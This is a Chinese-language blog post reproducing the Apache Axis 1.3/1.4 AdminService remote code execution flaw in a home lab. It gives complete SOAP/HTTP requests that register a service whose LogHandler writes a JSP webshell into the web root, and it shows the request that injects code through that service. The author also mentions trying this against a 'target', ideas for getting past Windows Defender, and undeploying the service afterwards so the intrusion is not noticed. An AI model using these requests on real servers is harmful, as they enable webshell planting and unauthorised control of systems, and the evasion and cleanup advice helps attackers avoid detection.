介绍
烦死了,同样的版本,在公司折腾一整天未折腾出来。在自己电脑上也安装了同样的版本也没折腾出来。回到家,先这样再这样最后再这样就成功了,烦死了。
环境信息:
物理机-1(本机):192.168.1.7
物理机-2(端口转发):192.168.1.100
服务器-3(虚拟机):192.168.10.14
服务器-4(虚拟机):192.168.10.10
这里服务器-3是安装在**物理机-2**上面的一台虚拟机,因**为物理机-1**无法直接访问到**服务器-3**网段,所以在**物理机-2**上面的虚拟机配置上面做了端口转发,访问**物理机-2**相关端口等于访问**服务器-3**或者**服务器-4**相关端口。
上面环境信息就当是多余的话,略过就行,反正网络安全,能通就行。
复现步骤
安装Tomcat
直接下载安装就是,公司电脑上下载的是Tomcat 6.0未成功,家里自己电脑上安装的是Tomcat 7.x成功了。
安装Axis
我下载了两个版本:Axis1.3和Axis1.4。因为网上很多文章都是说Axis1.4 RCE漏洞,没提到Axis1.3,然而我就是想弄Axis1.3,所以我就下载了两个版本,并且测试过程中,两个版本都成功了。
运行环境
将两个环境都部署完毕后,直接开始测试。
192.168.1.100:8090/axis13表示Axis1.3
192.168.1.100:8090/axis14表示Axis1.4
参考网上其他大佬的文章,直接上测试包,但是这里我环境搭好后直接上测试包的时候提示未开启AdminSercie的远程访问,参考过程中,其他文章说的是修改**deploy.wsdd**的**enableRemoteAdmin**配置为**True**,但其实不是**deploy.wsdd**,而是**server-config.wsdd**,但是这个文件,默认情况下是没有的,可以在本地浏览器中访问一条注册服务的请求,系统就会默认创建出该文件,然后打开该文件将**enableRemoteAdmin**改为**True**即可。
本地访问使用get请求注册一个服务:
http://127.0.0.1:8090/axis14/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22randomBBB%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22..%2Fwebapps%2FROOT%2Fshell.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment
本地访问上述后会在指定版本的WEB-INF下创建server-config.wsdd文件。
打开文件,修改为允许远程访问。
修改后就能远程本地调用了。
复现过程
首先按照其他大佬的步骤,注册一个服务,并且设定该服务在我当前的网站目录生成一个shell.jsp文件,自行根据情况修改,网上其他文章中的默认值是"../webapps/ROOT/shell.jsp",在网站默认目录生成一个shell.jsp文件:
更正一下,使用"../webapps/asix13/shell.jsp"以及"../webapps/ROOT/shell.jsp"方式生成jsp文件失败,很奇怪。但是使用"../shell.jsp"能够成功,未理解。
不奇怪了,本地环境下路径都能配置错,服了自己了。但是突然理解为什么在目标上面不成功了,可能就是路径的问题!若知道绝对路径的情况下,可以使用绝对路径。
POST /axis13/services/AdminService HTTP/1.1
Host: 192.168.1.100:8090
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 1048
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns1:deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="RandomService" provider="java:RPC">
<requestFlow>
<handler type="RandomLog"/>
</requestFlow>
<ns1:parameter name="className" value="java.util.Random"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
<handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >
<parameter name="LogHandler.fileName" value="../Tomcat7/webapps/asix13/shell.jsp" />
<parameter name="LogHandler.writeToConsole" value="false" />
</handler>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>
这里注册的是名为**RandomService**的一个服务,注册成功后服务器返回:
且浏览器中访问Axis1.3的路径,会显示出刚才注册的服务信息:
调用上述创建的服务:
POST /axis13/services/RandomService HTTP/1.1
Host: 192.168.1.100:8090
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 571
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:main
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<api:in0><![CDATA[
<% out.println("hello") %>
]]>
</api:in0>
</api:main>
</soapenv:Body>
</soapenv:Envelope>
插播广告:
演示上述"../webapps/ROOT/shell.jsp"方式不成功样图(就是路径不对导致的失败):
演示上述"../shell.jsp"方式成功样图
路径填写正确的话,就能正常通过web访问到了,但是由于是日志形式写入的jsp文件,所以访问时候会存在问题。目前很影响我使用:
网上有三种办法,但是能成功的大概只有两种,这是第一种,后面再试试第二种。
存在问题
在我刚才测试的这段时间,文件是正常的写入进去了,但是在写入马儿的时候发现文件正常上到服务器之后,用浏览器一访问,服务器上面的马儿立马就会不见了,猜测可能是tomcat自身的安全机制或者其他不清楚的原因导致了马尔被删除。
刚写完上面这段话就立马破案了,想起来服务器的Definder没有关,立马看了一眼记录,都是发现威胁然后帮我删掉的消息。。。。
新思路,如果直接上常见的马儿要杀的话,可以考虑试试文件包含,有成功案例,但是找不到文件包含成功的那个脚本了,后面找到了再贴上(如果想起来的话)。
擦屁股
注册了服务用完后记得卸载掉,如果被发现了影响不好。修改 service name="randomAAA" 处的服务名称提交请求即可删除注册了的服务。
POST /axis13/services/AdminService HTTP/1.1
Host: 192.168.1.100:8090
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 456
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<undeployment xmlns="http://xml.apache.org/axis/wsdd/">
<service name="randomAAA"/>
</undeployment>
</soapenv:Body>
</soapenv:Envelope>
最后的结果就是Axis1.3和Axis1.4都能成功。
结尾
今天游戏都还没打,就这样了,先打一把游戏准备睡觉,明天去公司了继续折腾,希望明天成功!
参考链接: https://paper.seebug.org/1489/